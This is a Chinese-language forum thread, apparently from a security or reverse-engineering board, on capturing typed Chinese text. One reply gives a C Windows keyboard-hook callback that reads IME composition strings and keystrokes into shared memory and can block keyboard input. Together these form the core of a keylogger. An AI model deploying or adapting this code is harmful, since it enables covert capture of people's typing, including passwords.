能力值:
( LV5,RANK:60 )
|
-
-
2 楼
我的意思.程序只记录按键和字元.是不是汉字得经过进一步加工.
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
可以通过记录按键次序
接收后再判断是符合哪些汉字
这样不就可以记录下来了么?
直接记录汉字 好像不可能
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
/*--------------------------键盘钩子回调函数定义[支持中文]--------------------------------*/
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam){
HIMC hIMC;
HWND hWnd;
char *pCNString;
LRESULT lResult = CallNextHookEx(KBhookCn, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
hWnd=pmsg->hwnd;
if(nCode != HC_ACTION) return 0;
HANDLE hThreadid=OpenFileMapping(FILE_MAP_WRITE,false,"Threadid");
if(hThreadid){
int *pThreadid=(int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
if(pThreadid) KBthreadid=*pThreadid;
}
else MessageBox(NULL,"no find threadid","no",MB_OK);
/* this code from ZWELL 获得输入法处理后的字符串 */
///*
if(pmsg->message==WM_IME_COMPOSITION){
/*MessageBox(NULL,"get it cn","sdf",MB_OK);*/
HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false,"CNString");
if(hCNString) pCNString=(char *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
else return 0;
if(pCNString==NULL) {/*MessageBox(NULL,"no cn","ff",MB_OK);*/return 0;}
DWORD dwSize;
char lpstr[128];
if(pmsg->lParam & GCS_RESULTSTR){
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if(!hIMC) return 0;
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, sizeof(lpstr));
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
//MessageBox(NULL, lpstr, lpstr, MB_OK);
strncpy(pCNString,lpstr,sizeof(lpstr));
ImmReleaseContext(hWnd, hIMC);
PostThreadMessage(KBthreadid,WM_KEYHOOK_CN_EN,wParam,lParam); //向线程发送消息
}
//if (pCNString) UnmapViewOfFile(pCNString);
//if (hCNString) CloseHandle(hCNString);
}
//*/
/* code from ZWELL end */
if(pmsg->message==WM_CHAR||pmsg->message==WM_KEYDOWN){
if(pmsg->message==WM_KEYDOWN){
unsigned char ch=(unsigned char)(pmsg->wParam);
if((ch>=0x21&&ch<=0x28)||(ch>=0x70&&ch<=0x7b)||ch==0x2d||ch==0x2e||ch==0x5b);
else return 0;
}
// WM_CHAR对应可显示字符键的消息,WM_KEYDOWN对应控制键消息
/*
if(ImmIsIME(GetKeyboardLayout(0))){ //判断中文输入法
if((unsigned char)(pmsg->wParam)>0x7F){
//MessageBox(NULL,"quit","char",MB_OK);
return 0;
}
}
strncpy(pCNString,(char *)&(pmsg->wParam),1);
*/
lParam=pmsg->lParam;//扫描吗
wParam=pmsg->wParam;//虚拟码
char str[20]={0};
sprintf(str,"0x=%x",(unsigned char)pmsg->wParam);
//MessageBox(NULL,str,"char",MB_OK);
PostThreadMessage(KBthreadid,WM_KEYHOOK_CN,wParam,lParam); //向线程发送消息
}
if(DisableKB) return 1;
return 0;
}
|